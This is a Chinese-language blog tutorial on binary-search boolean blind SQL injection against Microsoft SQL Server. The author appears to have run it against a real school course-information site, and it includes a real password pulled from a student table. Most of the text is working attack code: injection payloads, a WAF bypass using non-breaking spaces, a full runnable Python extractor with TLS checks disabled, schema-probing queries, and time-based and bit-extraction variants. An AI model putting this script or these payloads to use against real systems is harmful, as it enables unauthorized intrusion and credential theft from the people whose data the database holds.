布尔盲注的二分算法 —— 从 1 bit 到完整字符串
在对某网站使用布尔盲注时发现
一个一个字符拼在url后面去试效率很低,于是在想会不会有更快的办法。
目录
- 问题的本质:你只有一个 bit
- 信息论下界:为什么 7 次就是极限
- 朴素做法:逐字符试 —— 并分析它为什么慢
- 关键洞察:把「等不等」换成「在左还是右」
- 单调性从哪来(排序规则 collation)
- 算法推导(含手算全过程)
- 代码实现(已测试)
- 真实案例:从真值
k到 7 次请求 - 读整个字符串:前缀递进
- 六个必须知道的坑
- 完整可运行脚本
- 推广:字典法、位提取法、时间盲注
- 练习
1. 问题的本质:你只有一个 bit
场景
有一个 Web 接口,参数被拼进 SQL。页面根据「查询有没有返回行」显示两种文案之一:
| 响应 | 含义 | 长度 |
|---|---|---|
请登录后访问。 | 条件为真 | 21 B |
系统错误:Index 0 is either negative or above rows count. | 条件为假 | 62 B |
于是你能构造:
kch = x' or <任意布尔表达式> or 'a'='b服务器会执行 <布尔表达式> 并把结果以「真/假」回显给你。
这就是一个 1-bit 的 oracle :你问一个是非题,它答「是」或「否」。
目标
读出数据库里某个值,例如 学生 表第一条记录的 密码:
真实值 = "kvopomqu!@#"但你看不到它,只能问是非题。
形式化
oracle(条件) -> True | False求 x, 使得 每次查询只得到 1 bit2. 信息论下界:为什么 7 次就是极限
假设目标是 ASCII 可打印字符(0x20–0x7E),共 95 个候选。
每次查询返回 1 bit = 最多区分 2 种情况。
问 k 次,最多区分 2^k 种情况。要区分 95 种:
2^k >= 95k >= log2(95) = 6.57k >= 7 ← 下界结论:用 1-bit oracle 定位一个 95 选 1 的字符,理论最少 7 次查询,不可能更少。
这不是「大概」——是硬下界。任何声称 5 次能定位的算法,要么偷偷用了多次查询,要么结果不可靠。
因此记住两个数字:
| 字符集 | 候选数 | 最少查询 |
|---|---|---|
| 小写字母 | 26 | 5 |
| 十六进制 | 16 | 4 |
| ASCII 可打印 | 95 | 7 |
| 汉字(基本区) | 20,992 | 15 |
一个 32 字符的密码,ASCII 全集最少需要 32 × 7 = 224 次查询。 这就是「效率天花板」,任何优化都只能逼近它,不能突破。
3. 朴素做法:逐字符试 —— 并分析它为什么慢
最直觉的写法
「我不知道第一位是什么,那就一个一个试」
for c in "abcdefghijklmnopqrstuvwxyz...": # 95 个候选 if oracle("left(密码,1) = N'%s'" % c): print("第一位是", c) break问题出在哪
= 判定是点定位,不是区间定位:
候选: ' ' '!' '"' ... 'j' 'k' 'l' ... '~'结果: F F F ... F T F ... F ↑ 只有一个 TRUE一次查询只能排除一个候选。最坏要问 95 次,平均 48 次。
32 个字符的密码:
最坏 95 × 32 = 3040 次平均 48 × 32 = 1536 次关键观察
= 只利用了「是不是这一个」,浪费了「大小关系」这个信息。
而数据库比较运算符不止 =。有了 >=,一次查询就能问:
「这个值是不是大于等于某个中间值?」
这一问,能把候选砍掉一半。
4. 关键洞察:把「等不等」换成「在左还是右」
思维转折
不要问「是不是 k」,要问「是不是 ≥ m」。
假设真实值是 k。候选区间是 [ ' ', '~' ](0x20–0x7E)。
问:值 >= 'm' ?
- 答假 ⇒ 值在
'm'左边 ⇒ 真实值 ∈[' ', 'l'] - 答真 ⇒ 值在
'm'或其右边 ⇒ 真实值 ∈['m', '~']
一次查询,候选从 95 个变成 48 个。
这就是单调性
定义谓词:
P(c) = ( 真实值 >= c )对固定的真实值 v:
c <= v → v >= c → P(c) = TRUEc > v → v < c → P(c) = FALSE所以 P 的形状必然长这样:
候选 c: ' ' ... 'j' 'k' 'l' ... '~'P(c): T ... T T F ... F ↑ 唯一的翻转点 = 真实值- 单调:一旦变 FALSE,后面全是 FALSE
- 唯一翻转:翻转处就是答案
单调 + 唯一翻转 ⇒ 二分查找成立。
对照表
| 谓词 | 一次查询能排除 | 95 选 1 需要 |
|---|---|---|
= N'c' | 1 个候选 | 最坏 95 次 |
>= N'c' | 约一半候选 | 7 次 |
同样是 1 bit 响应,效率差 13 倍。差别不在响应,在提问方式。
5. 单调性从哪来(排序规则 collation)
这点极其重要,也是实操中最容易翻车的地方。
默认排序规则会破坏单调性
SQL Server 默认常为 Chinese_PRC_CI_AS 之类:
CI= Case Insensitive(不区分大小写)⇒'A'与'a'被判为相等AS= Accent Sensitive- 中文按拼音/笔画,不按 Unicode 码点
后果:
真实值 = 'a'P('A') = ('a' >= 'A') = TRUE ← 因为 CI 认为相等P('a') = ('a' >= 'a') = TRUEP('B') = ('a' >= 'B') = FALSE'A' 和 'a' 都返回 TRUE,出现两个等价值,二分可能收敛到 'A'——错。
中文更乱:'张' 和 '章' 的排序由拼音决定,与码点无关,二分的区间边界无法预测。
解决办法:强制二进制排序
left(expr, pos) collate Latin1_General_BIN >= N'c'| 排序规则 | 用途 | 特性 |
|---|---|---|
Latin1_General_BIN | ASCII / 数字 / 英文 | 严格按字节值,全序,大小写敏感 |
Latin1_General_BIN2 | 同上(更严格) | 某些场景触发后端异常,本目标不可用 |
Chinese_PRC_BIN | 中文 | 按 Unicode 码点,全序 |
加了 BIN 之后,排序变成严格全序:
'0' < 'A' < 'Z' < 'a' < 'z' < '~'单调性恢复,二分成立。
实测:判「朱」时用
Latin1_General_BIN和Chinese_PRC_CI_AS结果都是 TRUE, 但只有Chinese_PRC_BIN才能继续对第 2、3 字做可靠的区间二分。
6. 算法推导(含手算全过程)
6.1 先解决「找第 k 位」
设已确定前 pos-1 位为 prefix,现在要定第 pos 位。
谓词:
P(c) = ( left(expr, pos) collate Latin1_General_BIN >= N'prefix + c' )因为前缀已固定相同,字符串比较逐位进行,前 pos-1 位全等,第 pos 位起决定作用:
left(expr,pos) >= prefix+c ⟺ 第 pos 位的码点 >= c 的码点于是退化成「在码点区间 [LOW, HIGH] 中找最大值 v 使得 P(v) 为真」。
6.2 二分写法(注意上取整中点)
lo, hi = LOW, HIGH # 闭区间,包含两端while lo < hi: mid = (lo + hi + 1) // 2 # ← 上取整,关键! if P(mid): lo = mid # mid 成立,答案 >= mid else: hi = mid - 1 # mid 不成立,答案 < midreturn chr(lo) # lo == hi,即答案为什么必须上取整 (lo+hi+1)//2?
若用下取整 (lo+hi)//2,当 lo 与 hi 相邻(如 lo=107, hi=108)时:
mid = (107+108)//2 = 107若 P(107) 为真 → lo = 107 ← 区间没变!死循环上取整时 mid = 108,P(108) 为假 → hi = 107,区间收敛。
这是二分最常见的 off-by-one 陷阱,务必记住: 找「最大的满足 P 的值」→ 上取整;找「最小的满足 P 的值」→ 下取整。
6.3 手算全过程(真实值 k = 0x6B = 107)
区间 [0x20, 0x7E] = [32, 126]
| 步 | lo | hi | mid | mid字符 | 问 >= mid | 结果 | 新区间 |
|---|---|---|---|---|---|---|---|
| 1 | 32 | 126 | 79 | O | k >= O? | TRUE | lo=79 |
| 2 | 79 | 126 | 103 | g | k >= g? | TRUE | lo=103 |
| 3 | 103 | 126 | 115 | s | k >= s? | FALSE | hi=114 |
| 4 | 103 | 114 | 109 | m | k >= m? | FALSE | hi=108 |
| 5 | 103 | 108 | 106 | j | k >= j? | TRUE | lo=106 |
| 6 | 106 | 108 | 107 | k | k >= k? | TRUE | lo=107 |
| 7 | 107 | 108 | 108 | l | k >= l? | FALSE | hi=107 |
lo == hi == 107 → 答案 chr(107) = 'k' ✓
7 次,达到信息论下界。
注意第 6、7 步:k 和 l 只差一个码点,判定却从 TRUE 翻成 FALSE——
这正是「相邻字符返回值会不一样」的答案:必须不一样,翻转点就是真值。
6.4 现场实测(真实目标上跑出来的)
第1步 >= 'O'(0x4F) → TRUE第2步 >= 'g'(0x67) → TRUE第3步 >= 's'(0x73) → FALSE第4步 >= 'm'(0x6D) → FALSE第5步 >= 'j'(0x6A) → TRUE第6步 >= 'k'(0x6B) → TRUE第7步 >= 'l'(0x6C) → FALSE答案 = 'k' (0x6B)6.5 相邻字符对照(解释你的疑问)
left(密码,1) collate Latin1_General_BIN = N'i' → FALSEleft(密码,1) collate Latin1_General_BIN = N'j' → FALSEleft(密码,1) collate Latin1_General_BIN = N'k' → TRUE ← 唯一相等left(密码,1) collate Latin1_General_BIN = N'l' → FALSE
left(密码,1) collate Latin1_General_BIN >= N'i' → TRUEleft(密码,1) collate Latin1_General_BIN >= N'j' → TRUEleft(密码,1) collate Latin1_General_BIN >= N'k' → TRUEleft(密码,1) collate Latin1_General_BIN >= N'l' → FALSE ← 翻面'j' 与 'k' 只差 1,'k' 与 'l' 也只差 1,但 >= 在 k → l 之间翻面。
= 只在 k 处为真。
7. 代码实现(已测试)
7.1 最小核心
def lit(s): """生成 T-SQL 的 Unicode 字符串字面量,单引号转义为两个""" return "N'" + s.replace("'", "''") + "'"
def read_char(oracle, expr, pos, prefix, low=0x20, high=0x7E): """ 读出 expr 第 pos 位字符。 expr : SQL 表达式,如 "( select top 1 密码 from 学生)" pos : 1-based 位置 prefix : 已读出的前 pos-1 个字符 low/high : 码点区间(ASCII: 0x20..0x7E;汉字: 0x4E00..0x9FFF) """ lo, hi = low, high while lo < hi: mid = (lo + hi + 1) // 2 # 上取整,防止死循环 cand = prefix + chr(mid) q = "left(%s,%d) collate Latin1_General_BIN >= %s" % (expr, pos, lit(cand)) if oracle(q) is True: # 注意:必须严格 is True lo = mid else: hi = mid - 1 return chr(lo)
def read_string(oracle, expr, n, low=0x20, high=0x7E): """逐位读出 n 个字符""" out = "" for i in range(1, n + 1): out += read_char(oracle, expr, i, out, low, high) print(" pos%02d -> %r" % (i, out)) return out7.2 为什么 is True 而不是 if oracle(...)
这是盲注脚本最常见的 bug 来源。看 oracle 的三种返回值:
True # 条件为真False # 条件为假None # 网络异常 / 被 WAF 断连 / 超时如果写成 if oracle(q):,None 会被当作假值 → h i = mid - 1 → 区间往错误方向收缩 → 读出乱码。
正确做法:
r = oracle(q)while r is None: # 异常就重试,绝不猜 r = oracle(q)if r: lo = midelse: hi = mid - 1铁律:错误 ≠ FALSE。把 ERR 当 FALSE 处理,会静默产出错误结果。
7.3 离线验证(穷举 95 个值 + 边界 + 中文)
# 对 ASCII 0x20..0x7E 每一个值都测一遍bad = []for v in range(0x20, 0x7F): secret = chr(v) def orc(cand, pos, s=secret): return s[:pos] >= cand got = read_char(orc, "x", 1, "", 0x20, 0x7E) if got != secret: bad.append((hex(v), secret, got))print("ASCII 穷举:", "全部正确 (95/95)" if not bad else bad)实测输出:
ASCII 穷举: 全部正确 (95/95) 边界 0x20 -> ' ' OK 边界 0x7e -> '~' OKCJK 抽查: 正确请求次数也与理论完全一致:
ASCII 95 元素= 95 ceil(log2)= 7 实际循环次数= 7CJK 20992 元素=20992 ceil(log2)=15 实际循环次数=15小写 26 元素= 26 ceil(log2)= 5 实际循环次数= 58. 真实案例:从真值 k 到 7 次请求
目标
读出 学生 表第一条记录的密码第 1 位。
先确认长度(约 7 次二分):
datalength(( select top 1 密码 from 学生)) = 64 → TRUE64 字节 = 32 字符(定长 char(32),后 21 位是空格补位)。
逐位读
expr = "( select top 1 密码 from 学生)"pwd = read_string(oracle, expr, 11) # 只读前 11 位,后面是空格补位实测输出:
pos01 -> 'k' pos02 -> 'kv' pos03 -> 'kvo' pos04 -> 'kvop' pos05 -> 'kvopo' pos06 -> 'kvopom' pos07 -> 'kvopomq' pos08 -> 'kvopomqu' pos09 -> 'kvopomqu!' pos10 -> 'kvopomqu!@' pos11 -> 'kvopomqu!@#'同算法离线验证:72 次请求读出 11 个字符(理论上界 7×11=77,因二分路径不同实际略省)。
读完后必须校验
二分得到的是「最大满足 P 的值」。理论上唯一,但网络抖动可能造成偏差。 所以要用独立的判定复核:
# 校验 1:整串相等left(expr,11) collate Latin1_General_BIN = N'kvopomqu!@#' → TRUE
# 校验 2:去尾空格后相等(绕过 char 定长补位)rtrim(expr) collate Latin1_General_BIN = N'kvopomqu!@#' → TRUE
# 校验 3:反例,少一位必须为假left(expr,11) collate Latin1_General_BIN = N'kvopomqu!@' → FALSE
# 校验 4:长度datalength(expr) = 64 → TRUE四条全过才算「读到了」。 只有 = 为真而反例也为真,说明判定失效(多半是排序规则没加 BIN)。
9. 读整个字符串:前缀递进
难点
left(expr, pos) 取的是长度为 pos 的前缀,不是第 pos 个字符。
所以第 2 位的判定必须带上第 1 位:
-- 错:这会变成「整个字符串 >= 'v'」,与第 2 位无关left(密码,1) >= N'v'
-- 对:前缀已固定为 'k',再比第 2 位left(密码,2) >= N'kv'为什么能退化
SQL 的字符串比较是字典序、从左往右逐位:
left(密码,2) = 'kx'比较 'kx' >= 'kv': 第1位 'k' vs 'k' → 相等,继续 第2位 'x' vs 'v' → 决定结果前 pos-1 位已确定相同,比较自然落到第 pos 位。
递归结构
read_string(n): out = "" for pos in 1..n: out += read_char(pos, prefix=out) # 前缀就是已读出的部分 return out复杂度:n × log2(字符集大小)。
| 长度 | ASCII | 汉字 |
|---|---|---|
| 11 | 77 | 165 |
| 32 | 224 | 480 |
10. 六个必须知道的坑
坑 1:排序规则没加 BIN
-- 错:CI 排序下 'A' 与 'a' 相等,二分收敛到错误值left(expr,1) >= N'a'
-- 对left(expr,1) collate Latin1_General_BIN >= N'a'症状:读出的字符串大小写错乱,或中文变成随机汉字。
坑 2:把 ERR 当 FALSE
if oracle(q): # None 被当成 False lo = midelse: hi = mid - 1 # 区间被错误压缩症状:偶发乱码,重跑结果不一致。必须 is None 重试。
坑 3:下取整中点导致死循环
mid = (lo + hi) // 2 # lo=107, hi=108 时 mid=107,可能不收敛mid = (lo + hi + 1) // 2 # 正确:mid=108症状:脚本卡住,或收敛到 off-by-one 的相邻字符。
坑 4:MSSQL 的 = 忽略尾部空格
-- 对 char(12) 定长列 '00066004 'left(学号,8) = N'00066004' → TRUEleft(学号,9) = N'00066004 ' → TRUE ← 也真!后果:你以为读到了 8 位,实际上第 9 位可能是空格。
对策:长度用 datalength() 独立确认(字节数,nvarchar 除以 2 得字符数),
或校验时用 rtrim()。
坑 5:WAF 只拦普通空格
本目标的 WAF 规则:
| 写法 | 结果 |
|---|---|
x' or 1=1 or 'a'='b(%20) | 连接被重置 |
x'%a0or%a01=1%a0or%a0'a'='b(U+00A0) | 200 正常 |
( select ... ) | 连接被重置 |
(%a0select%a0... | 200 正常 |
or / and 两侧与子查询内部空白必须换成 %a0(U+00A0)。
有意思的是
collate Latin1_General_BIN周围可以用普通空格—— WAF 规则是按 token 匹配的,不是全局禁用空格。
坑 6:盲注的「错觉」
二分返回的是「满足条件的最大码点」,如果区间选错(例如汉字用了 ASCII 区间), 它会安静地返回区间上界,看起来像个合法字符。
对策:先确认字符集。方法:
-- 判断是否全为 ASCIIleft(expr,1) collate Latin1_General_BIN >= N'\x80' -- 若 TRUE,必有非 ASCII或先读长度 + 抽样几个位置,再决定用哪个区间。
11. 完整可运行脚本
#!/usr/bin/env python3# -*- coding: utf-8 -*-"""通用布尔盲注二分提取器适用:MSSQL + 1-bit 布尔 oracle"""
import ssl, time, urllib.parse, urllib.request
NB = "\xa0" # U+00A0,绕过空白过滤BASE = "https://TARGET/Controls/Public_CourseInfor.aspx?kch="
ctx = ssl.create_default_context()ctx.check_hostname = Falsectx.verify_mode = ssl.CERT_NONE
def oracle(cond, tries=4, timeout=10): """返回 True / False / None(异常)""" payload = "x'" + NB + "or" + NB + cond + NB + "or" + NB + "'a'='b" url = BASE + urllib.parse.quote(payload, safe="") req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"}) for i in range(tries): try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r: body = r.read().decode("utf-8", "replace").strip() if "登录" in body: return True if "Index 0" in body: return False # 其它响应(NRE 等)视为异常,不猜 except Exception: pass time.sleep(0.3 + i * 0.3) return None
def ask(cond): """必须拿到确定的 True/False,否则重试到成功""" r = oracle(cond) while r is None: time.sleep(1) r = oracle(cond) return r
def lit(s): return "N'" + s.replace("'", "''") + "'"
def sub(sql): """把 SQL 包成子查询,空白换成 U+00A0""" return "(" + NB + sql.replace(" ", NB) + ")"
def read_len(expr, hi=512): """二分读 datalength(字节数)""" lo = 0 while lo < hi: mid = (lo + hi + 1) // 2 if ask("datalength(%s) >= %d" % (expr, mid)): lo = mid else: hi = mid - 1 return lo
def read_char(expr, pos, prefix, low=0x20, high=0x7E, coll="Latin1_General_BIN"): lo, hi = low, high while lo < hi: mid = (lo + hi + 1) // 2 cand = prefix + chr(mid) q = "left(%s,%d) collate %s >= %s" % (expr, pos, coll, lit(cand)) if ask(q): lo = mid else: hi = mid - 1 return chr(lo)
def read_string(expr, n, low=0x20, high=0x7E, coll="Latin1_General_BIN"): out = "" for i in range(1, n + 1): out += read_char(expr, i, out, low, high, coll) return out
def verify(expr, value, coll="Latin1_General_BIN"): """四条独立校验""" n = len(value) checks = { "整串相等": "%s(%s,%d) collate %s = %s" % ("left", expr, n, coll, lit(value)), "去尾空格": "rtrim(%s) collate %s = %s" % (expr, coll, lit(value)), "反例(少一位)": "%s(%s,%d) collate %s = %s" % ("left", expr, n - 1, coll, lit(value[:-1])), } res = {k: ask(v) for k, v in checks.items()} ok = res["整串相等"] and res["去尾空格"] and not res["反例(少一位)"] return ok, res
if __name__ == "__main__": E = sub("select top 1 密码 from 学生") print("字节长度 =", read_len(E)) pwd = read_string(E, 11) print("读出 =", repr(pwd)) print("校验 =", verify(E, pwd))运行结果(实测)
字节长度 = 64读出 = 'kvopomqu!@#'校验 = (True, {'整串相等': True, '去尾空格': True, '反例(少一位)': False})12. 推广:字典法、位提取法、时间盲注
二分不是唯一解。三种方法各有适用场景。
12.1 字典法(1 次请求 / 候选)
适用于候选集很小或已知命名习惯:
-- 一次请求判断整张表是否存在object_id(N'学生') is not null→ TRUE
-- 一次请求判断整列是否存在col_length(N'学生', N'密码') is not null→ TRUE
-- 一次请求判断姓氏left(姓名,1) collate Chinese_PRC_BIN = N'朱'→ TRUE| 场景 | 二分成本 | 字典成本 |
|---|---|---|
判断表 学生 是否存在 | 2 × 15 = 30 | 1 |
判断列 密码 是否存在 | 2 × 15 = 30 | 1 |
| 30 个常见姓氏中定位 | 15 | 最坏 30 / 平均 15 |
结论:有字典时,字典法完胜二分。
实战策略:先用字典捞结构(表名、列名、常见值),再用二分读未知内容。
12.2 位提取法(理论最优,但常被 WAF 拦)
如果 ascii() / substring() / char() 可用:
-- 直接取第 1 个字符的 ASCII 码ascii(substring(密码,1,1))-- 然后按二进制位提取ascii(substring(密码,1,1)) & 128 > 0ascii(substring(密码,1,1)) & 64 > 0...7 次读 1 个字符的 ASCII 码(0-127),与二分次数相同。 但位提取的好处是可以并行(每一位独立,可多线程),而二分必须串行(后一步依赖前一步区间)。
本目标不可用:WAF 拦截 ascii / char / substring / convert / cast。
12.3 时间盲注
-- 条件为真则延迟 3 秒if (条件) waitfor delay '0:0:3'本目标不可用:sleep / waitfor 被拦。
优点是不依赖页面差异(页面完全一样时也能打);缺点是慢、易受网络抖动误判。
12.4 三种方法对比
| 方法 | 每字符请求 | 需要页面差异 | 需要特定函数 | 可并行 |
|---|---|---|---|---|
二分 >= | 7 | 是 | 否 | 否 |
字典 = | 1(命中即停) | 是 | 否 | 是 |
位提取 & | 7 | 是 | ascii/substring | 是 |
| 时间盲注 | 7 | 否 | waitfor/sleep | 是 |
13. 练习
练习 1(理解单调性)
真实值 m(0x6D),区间 [0x20, 0x7E]。
手工走一遍二分,写出每一步的 lo / hi / mid / 结果。共几次?
答案
| 步 | lo | hi | mid | 字符 | >= mid | 新区间 |
|---|---|---|---|---|---|---|
| 1 | 32 | 126 | 79 | O | T | lo=79 |
| 2 | 79 | 126 | 103 | g | T | lo=103 |
| 3 | 103 | 126 | 115 | s | F | hi=114 |
| 4 | 103 | 114 | 109 | m | T | lo=109 |
| 5 | 109 | 114 | 112 | p | F | hi=111 |
| 6 | 109 | 111 | 110 | n | F | hi=109 |
| — | 109 | 109 | — | — | — | 终止(不发请求) |
答案 chr(109) = 'm',6 次请求(最后一行 lo==hi 是终止判断,不发请求)。
对比 k=107 的 7 次:⌈log₂95⌉ = 7 是上界,不是每次都恰好 7 次。
区间恰好被对半切中时 6 次就收敛,取决于真值落在哪。
练习 2(为什么上取整)
把 mid = (lo + hi + 1) // 2 改成 (lo + hi) // 2,用 lo=107, hi=108, 真值='k' 走一遍,说明会发生什么。
答案
mid = 107('k'),P(107) = TRUE → lo = mid = 107。
区间仍为 [107, 108],与循环开始时完全相同 → 死循环。
上取整时 mid = 108('l'),P(108) = FALSE → hi = 107,lo == hi,退出。
练习 3(读中文)
要读汉字(U+4E00–U+9FFF),需要改哪两处?
答案
- 码点区间:
low=0x4E00, high=0x9FFF - 排序规则:
collate Chinese_PRC_BIN(Latin1_General_BIN对中文不可靠)
请求数:log2(20992) = 15 次/字。
练习 4(ERR 处理)
某次 oracle 返回 None,代码写 if oracle(q): lo = mid else: hi = mid - 1,
假设真实值 k,当前 lo=103, hi=126, mid=115('s'),None 会怎么影响结果?
答案
None 被判为假 → hi = 114。
真实值 k(107) 仍在 [103, 114] 内,这一次碰巧没出错。
但如果发生在 mid < 真值 的位置,例如 lo=103, hi=114, mid=106('j'),
None → hi = 105,真值 107 被排除在区间外 → 最终读出 'i'(错)。
所以 ERR 必须重试,不能当 FALSE。
练习 5(优化空间)
32 字符密码,二分需要 224 次请求。还能更快吗?
答案
单字符维度不能:log2(95) = 6.57,取整 7,已是下界。
但可以换思路:
- 字典优先:若密码符合「学号」「姓名拼音+生日」等模式,先试候选,命中 1 次;
- 字符集收窄:若先判定「全为小写+数字」(1-2 次),区间从 95 缩到 36,每字符 6 次;
- 并行:二分是串行的(后一步依赖前一步区间),难以并行; 但不同字段之间(如同时读 5 条记录的密码)可以并行;
- 批量化:一条 SQL 里用
case when组合多个条件,可在 1 个响应中编码多 bit。 本目标实测case when可用(min(case when name>... then name end)), 理论上能突破 1 bit/请求,但需要服务端对多分支返回不同文案——本目标只有两态,受限。
真正的优化是少读:先读 datalength,只读有效长度(本例 11 位而非 32 位),
省下 21 × 7 = 147 次请求。
附:核心思维模型总结
1 个 bit 的 oracle ↓不要问「是不是这个」(点定位,N 次) ↓要问「是不是 ≥ 这个」(区间定位,log₂N 次) ↓前提:单调性(靠 BIN 排序规则保证) ↓上取整中点,闭区间收敛 ↓前缀递进读整串(前 i-1 位固定,第 i 位二分) ↓读完必须独立校验(整串 + rtrim + 反例 + 长度) ↓ERR ≠ FALSE(重试,绝不猜)一句话:盲注的效率不取决于你问了多久,而取决于你问的问题能砍掉多少不确定性。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!